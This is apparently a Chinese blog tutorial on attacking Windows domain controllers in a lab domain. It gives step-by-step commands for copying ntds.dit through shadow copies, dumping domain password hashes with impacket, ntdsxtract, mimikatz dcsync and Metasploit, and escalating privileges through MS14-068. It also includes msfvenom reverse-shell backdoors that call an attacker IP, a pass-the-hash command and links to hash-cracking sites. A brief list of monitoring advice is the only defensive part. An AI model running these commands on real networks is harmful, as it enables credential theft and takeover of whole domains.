域控制器安全

在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。

接下来我们将介绍常用提取ntds.dit文件的方法,并对非法提取ntds.dit文件、通过MS14-068漏洞攻击域控制器等恶意行为给予防范建议。

使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在 ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntdsntds.dit。ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。本节将介绍如何从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。在一般情况下,系统运维人员会利用卷影拷贝服务(Volume Shadow Copy Service, VSS)实现这些操作。VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。

通过ntdsutil.exe提取ntds.dit

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。

下面通过实验来讲解使用ntdsutil.exe提取ntds.dit的方法。

在域控制器的命令行环境中创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制。

ntdsutil snapshot "activate instance ntds" create quit quit

在命令行环境中输入如下命令,将快照加载到系统中。本实验中,快照将被加载到C:\$SNAP_202201211025_VOLUMEC$\目录下

ntdsutil snapshot "mount {de3d9410-be7d-48ed-a178-fbd3b69c5f37}" quit quit

在命令行中输入如下命令,使用Windows自带的copy命令将快照中的文件复制出来。

copy C:\$SNAP_202201211025_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit

输入如下命令,将之前加载的快照卸载并删除

ntdsutil snapshot "unmount {de3d9410-be7d-48ed-a178-fbd3b69c5f37}" "delete {de3d9410-be7d-48ed-a178-fbd3b69c5f37}" quit quit

再次查询当前系统中的所有快照,显示没有任何快照,表示删除成功

ntdsutil snapshot "List All" quit quit

利用vssadmin提取ntds.dit

vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn 的操作流程和ntdsutil类似
在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝

vssadmin create shadow /for=c:

在创建的卷影拷贝中将ntds.dit 复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\NTDS\ntds.dit c:\ntds.dit
#查看文件
dir c:\ |findstr "ntds"

接着执行如下命令删除快照

vssadmin delete shadows /for=c: /quiet

利用vssown.vbs脚本提取ntds.dit

vssown.vbs脚本的功能和vssadmin类似。vssown.vbs 脚本是由Tim Tomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。可以在命令行环境中执行该脚本,下载地址。该脚本中的常用命令如下

#启动卷影拷贝服务
cscript vssown.vbs /start
#创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
#列出当前卷影拷贝
cscript vssown.vbs /list
#删除卷影拷贝
cscript vssown.vbs /delete

启动卷影拷贝服务

cscript vssown.vbs /start

创建一个C盘的卷影考培

cscript vssown.vbs /create c

列出当前卷影拷贝,可以看到存在一个ID为{DFF8945A-109B-467A-AFD4-C98F5FFEC7E2}的卷影,存储位置为:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7

cscript vssown.vbs /list

输入如下命令复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影拷贝

cscript vssown.vbs /delete {DFF8945A-109B-467A-AFD4-C98F5FFEC7E2}

使用ntdsutil的iFM创建卷影拷贝

除了按照前面介绍的方法通过执行命令来提取ntds dit,也可以使用创建一个 IFM的方式获取ntds.dit。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行。

在域控制器中以管理员模式打开命令行环境执行如下命令

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

查看c:\test\Active Directory\文件

dir c:\test\Active Directory\

然后查看SYSTEMSECURITY两项复制到c:\test\registry\文件下

dir "c:\test\registry\"

将ntds.dit下载到本地之后,将目标机器上的test文件删除

rmdir /s/q test

nishang中有一个powershell脚本copy-vss.ps1,在域控制器中执行该脚本即可提取文件到该目录下。

使用diskshadow导出ntds.dit

微软官方文档中有这样的说明:“diskshadow.exe 这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe 使用了一种交互式命令解释器, 与DiskRaid或DiskPart类似。”事实上,因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。diskshadow的功能与vshadow类似,且同样位于C:windowssystem32目录下。不过,vshdow是包含在Windows SDK中的,在实际应用中可能需要将其上传到目标机器中。
diskhadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exee调取一个脚本 文件来执行相关命令。下面通过实验讲解diskshadow的常见命令及用法。

使用如下命令查看diskshadow.exe

diskshadow.exe /?

在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令"exec c:windowssystem32calc.exe"写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令

diskshadow /s c:\commmand.txt

diskshadow.exe也可以用来导出ntds.dit。将如下命令写入一个文本文件中。

#设置卷影拷贝
set context persistent nowriters
#添加卷
add volume c: alias someAlias    
#创建快照
create    
#分配虚拟磁盘盘符
expose %someAlias% k:    
#将ntds.dit复制到C盘c:\ntds.dit
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit    
#删除所有快照
delete shadows all    
#列出系统中的卷影拷贝
list shadows all    
#重置
reset    
#退出
exit  

接着执行文件中的命令

diskshadow /s c:\command.txt

在使用diskshadow.exe进行导出ntds.dit的操作时,必须将当前域控制器执行shell的路径切换到C:\windows\system32\,否则会发错。切换路径后,使用diskshadow.exe加载command.txt即可。

创建快照并分配盘符

导出ntds.dit后,可以将system, hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息

reg save hklm\system c:\windows\temp\system.hive

使用diskshadow的过程中,需要注意以下几点

  • 渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
  • 在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。
  • 在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。
  • 在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。
  • 在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32中进行操作。
  • 脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。

监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  • 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
  • 监控创建dkshndko.exe及相关子进程的事件。
  • 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
  • 通过日志监控新出现的逻辑驱动器映射事件。

导出ntds.dit中的散列值

使用 esedbexport恢复ntds.dit

1.导出ntds.dit

在Kali的命令行环境中输入如下命令下载libesedb

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

安装依赖环境命令如下

apt-get install autoconf automake autopoint libtool pkg-config

依次输入如下命令,对libesedb进行编译和安装

./configure
make
sudo make install
sudo ldconfig

安装完成后,会在系统的/usr/local/bin目录下看到esedbexport程序

在kali的命令行环境中,将之前获得的ntds.dit放入kali下的文件,进入存放ntds.dit的目录,使用esedbexport进行恢复操作。输入如下命令提取表信息,操作需要的时间ntds.dit的大小而定。如果提取成功,会在同一目录下生成一个文件夹,本次只需要其中的datatable和link_table

esedbexport -m tables ntds.dit

列出表信息

2.导出散列值

在kali命令行中执行如下命令

#下载
git clone https://github.com/csababarta/ntdsxtract.git
#安装
python setup.py build && python setup.py install

输入如下命令,将导出的ntds.dit.export文件夹和system.hive文件一并放入ntdsxtract文件夹

dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 data --syshive system.hive --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt

或使用

dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt

ntds.dit包含域内的所有信息可以通过分析ntds.dit导出域内的计算机信息及其他信息

dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

使用impacket工具包导出散列值

使用Impacket工具包中的Secretsdump,也可以解析Ntds.dit文件从而导出散列值。

在kali中下载impacket工具包

git clone https://github.com/SecureAuthCorp/impacket.git

将impacket工具包安装到kali中,用python执行如下命令

python setup.py install

安装完毕之后,进入到存放system.hiventds.dit执行如下命令,导出ntds.dit中的所有散列值

impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL

impacket还可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下

mpacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:d9640e9219712c8788ce086c6db63592 -just-dc god.org/Admin1@192.168.252.185

在windows下解析ntds.dit并导出域账号和域散列值

使用NTDSDumpex.exe可以进行导出散列值的操作。NTDSDumpex下载地址

将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一日录下,打开命令行环境,输人如下命令,导出域账号和域散列值

NTDSDumpex.exe -d ntds.dit -s system

利用dcsync获取域散列值

使用mimikatz转储域散列值

mimikaz有一个 deyne功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索城散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit.

在域内的任意一台计算机,以管理员权限打开命令行环境,运行mimikatz。执行如下命令,使用mimikatz导出域内的所有用户名以及散列。

lsadump::dcsync /domain:god.org /al /csv

使用mimikatz的dcsync功能也可以导出指定用户的散列值,执行如下命令,可以直接导出域用户admin1的散列值

lsadump::dcsync /domain:owa.god.org /user:admin1

也可以直接在域控制器中运行mimikatz,通过转储lsass.exe进程对散列值进行Dump操作

privilege::debug
lsadump::lsa /inject

如果没有预先执行privilege::debug命令,将导致权限不足、读取失败。如果用户数量太多mimikatz无法完全将其显示出来,可以先执行log命令(会在mimikatz目录下生成一个文本文件,用于记录mimikatz的所有执行结果)

使用dcsync获取域账号和域散列值

Invoke _DCSync.ps1可以利用desync直接读取ntds.dit,以获取域账号和域散列值
输人"nvoke-DCSync -PWDumpFormat"命令(-PWDumpFormat参数用于对输出的内容进行格式化)

使用Metasploit获取域散列值

psexec_ntdsgrab模块的使用

在kali中进入msf,执行如下命令使用psexec_ntdsgrab模块

use auxiliary/admin/smb/psexec_ntdsgrab
#查看所需参数
show options
#配置参数
set rhost 192.168.252.190
set smbuser admin1
set smbpass 123456-a

执行完毕之后,ntds.dit和system文件就被下载到/root/.msf4/loot/,接着即可使用impacket解析ntds.dit导出域账号和散列值。

基于meterpreter会话获取账号和域散列值

在msf中执行如下命令,建立监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.252.183
set lport 12345

根据我们的监听配置生成一个后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=12345 -f exe >x.exe
或
sfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.252.133 lport=12345 -f exe > backdoor.exe

接着将后门上传到目标主机,我们在msf中执行exploit -j -z命令,然后执行目标主机上的后门程序,我们会收到msf的会话

接下来,使用domain_hashdump模块获取域账号散列值,在msf中执行命令use windows/gather/credentials/domain_hashdump,我们之前收到的session的id为4,这里我们设置session为4,接着执行exploit

使用vshadow.exe和QuarksPwDump.exe导出域账号和域散列值

在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进人域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。
ShadowCopy是一款免费的增强 型文件复制工具。ShadowCopy 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件。
vshdow.exe是从Windows SDK中提取出来的。在本实验中,安装vshadow.exe 后,会在VSSDK72TestAppsvshadow目录下生成一个bin文件vshadow.exe (可以将该文件单独提取出来使用)将文件全部放人domainhash文件夹中
在shadowcopy.bat中设置工作目录为C:WindowsTemp(目录可以在shadowcopy.bat中自行设置)
执行shaowopba脚本(该脚本使用vshadow.exe生成快照),复制ntds.dit.然后,使用QuarksPwDump修复ntds.dit并导出域散列值。运行该脚本后,会在刚刚设置的工作目录下存放导出的ntds.dit和hash.txt(包含域内所有的域账号及其散列值)。

本节列举了多种导出用户散列值的方法。在获得散列值后,可以使用本地工具或者在线工具对其进行破解。如果采用本地破解的方式,可以使用Cain LC7、Opherack、SAMInside、Hashal 等工具。如果采用在线破解的方式,针对NTLM Hash的在线破解网站针对LM Hash的在线破解网站

#NTLM hash在线破解
http://www.cmd5.com/
https://www.somd5.com/
http://www.objectif-securite.ch/ophcrack.php
#LM hash在线破解
http://cracker.offensive-security.com/index.php
https://github.com/mubix/pykek

==============================================================================================================================================================

Kerberos域用户提权漏洞分析与防范

微软在2014年1月18日发布了一个紧急补了,修复了Kerbers 城用户提权漏洞(MS14-068 CVE201462424)所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003、Windows Server 2008 Windows Sever 2008 R2、Windows Server 2012和Win2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将城内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了城内任何台计算机的Shell 权限,同时知道任意城用的用户名、SID、密码,即可获得城管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos 密明分发中心( KDC)申请TGT由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT就使普通域管理用户权限。该用户可以将TGT发送到KDC, KDC的TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。

测试环境

  • 域:god.org
  • 域账号:admin1/123456-a
  • 域:S-1-5-21-2952760202-1353902439-2381784089-1109
  • 域控制器:owa.god.org
  • kali ip:192.168.252.133
  • 域机器ip:192.168.252.185

PyKEK工具包

pyKEK (Pybon Kerberos Expoiation Kit)是利用Kerberos协议进行渗透测试的工具包,使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。

PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK,可以将Python文件转换为可执行文件

工具说明

ms14-068. py是PyKEK工具包中的MS14-068漏洞利用脚本

-u <userName>@<domainName>:用户名@域名。
-s <userSid>: 用户SID。
-d <domainControlerAddr>:域控制器地址。
-p <clearPassword>: 明文密码。
--rc4 <ntlmHash>:在没有明文密码的情况下,通过NTLM Hash登录。

查看域控制器的补丁情况

微软针对MS14-068(CVE-2014-6324)漏洞提供的补丁是KB3011780。输入以下命令查看是否存在该补丁

wmic qfe get hotfixid

查看用户的SID

查看当前用户的SID

whoami /user

查看所有用户的SID

wmic useraccount get name,sid

生成高权限票据

使用PyKEK生成高权限票据的命令

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
python ms14-068.py -u user01@god.org -s S-1-5-21-2952760202-1353902439-2381784089-1000 -d 192.168.252.190 -p 123456-a

查看注入前的权限

===============================================================================

==================================================================

goldenPac.py

goldenPac.py是一个用于对Kerberos进行测试的工具,它集成在impacket工具包中,存放在impacket-master/examples下。

goldenPac.py的命令格式如下

python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址

1.安装Kerberos客户端

Kali中默认不包含Kerberos客户端,因此需要单独安装,命令如下。

apt-get install krb5-user -y

==============================================================================================================================================================

在msf中进行测试

首先打开msf,知道ms14-068漏洞的利用脚本,执行如下命令,列出该脚本的所有选项

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
  • DOAMIN:域名
  • PASSWORD:被提权用户的密码
  • USER:被提权的用户
  • USER_SID:被提权的用户的SID

执行完毕之后,会在/root/.msf4/loot目录下生成文件20220122091413_default_192.168.252.190_windows.kerberos_559337.bin

接下来,进行格式转换。因为msf不支持bin文件的导入,所以要先使用mimikatz对文件格式进行格式转换。在mimikatz中输入如下命令,导出kirbi格式的文件

kerberos::clist "20220122091413_default_192.168.252.190_windows.kerberos_559337.bin" /export

在kali的命令环境中输入如下命令,使用msf生成一个反向shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=11111 -f exe >1234x.exe

接着我们在msf中进行监听

use exploit/multi./reverse_tcp
set lhost 192.168.252.133
set lport 11111
exploit

将生成的后门放到目标机器中执行,收到shell之后执行getuid查看当前用户

接着输入"load kiwi"命令,输入"kerberos_ticket_use/tmp/0-00000000-test@krbtgt-GOD.ORG.kirbi"

将票据导入,接着输入background切换到meterpreter后台,使用高权限票据进行测试。

最后在msf中执行如下命令

use exploit/windows/local/current_user_psexec
set session 2
set rhosts owa.god.org
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.252.133
run
meterpreter > getuid
=================================================================================
最后修改:2022 年 02 月 16 日
如果觉得我的文章对你有用,请随意赞赏